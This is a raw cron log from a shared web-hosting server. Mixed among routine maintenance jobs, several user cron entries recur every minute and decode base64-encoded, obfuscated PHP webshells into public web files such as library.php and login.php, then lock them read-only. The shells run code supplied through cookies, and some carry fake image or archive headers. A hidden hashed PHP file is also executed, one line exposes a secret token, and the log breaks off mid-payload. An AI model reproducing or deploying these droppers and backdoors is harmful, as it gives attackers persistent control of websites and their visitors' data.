Jun  7 04:14:01 medusa CROND[30038]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:14:01 medusa CROND[30041]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:14:01 medusa CROND[30042]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:14:01 medusa CROND[30046]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:14:01 medusa CROND[30047]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:14:01 medusa CROND[30050]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:14:01 medusa CROND[30056]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:15:01 medusa CROND[31779]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:15:01 medusa CROND[31780]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 04:15:01 medusa CROND[31781]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:15:01 medusa CROND[31782]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:15:01 medusa CROND[31784]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:15:01 medusa CROND[31783]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 04:15:01 medusa CROND[31789]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 04:15:01 medusa CROND[31793]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 04:15:01 medusa CROND[31792]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 04:15:01 medusa CROND[31795]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 04:15:01 medusa CROND[31797]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 04:15:01 medusa CROND[31796]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 04:15:01 medusa CROND[31798]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 04:15:01 medusa CROND[31801]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:15:01 medusa CROND[31802]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:15:01 medusa CROND[31803]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:15:01 medusa CROND[31808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:15:01 medusa CROND[31810]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:15:01 medusa CROND[31817]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:15:01 medusa CROND[31818]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Jun  7 04:15:01 medusa CROND[31821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:15:01 medusa CROND[31819]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 04:15:01 medusa CROND[31822]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 04:15:01 medusa CROND[31790]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 04:16:01 medusa CROND[989]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:16:01 medusa CROND[992]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:16:01 medusa CROND[991]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:16:01 medusa CROND[993]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:16:01 medusa CROND[990]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 04:16:01 medusa CROND[994]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:16:01 medusa CROND[995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:16:01 medusa CROND[997]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 04:16:01 medusa CROND[1000]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:16:02 medusa CROND[1001]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6y